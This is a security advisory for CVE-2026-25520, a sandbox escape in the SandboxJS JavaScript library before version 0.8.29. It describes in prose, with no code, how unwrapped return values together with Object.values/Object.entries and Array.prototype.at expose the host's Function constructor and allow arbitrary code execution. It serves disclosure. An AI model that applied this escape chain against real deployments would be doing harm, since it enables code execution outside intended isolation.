CVE-2026-25520
SandboxJS has a Sandbox Escape
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

@nyariv/sandboxjs has a Sandbox Escape issue
Summary
The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
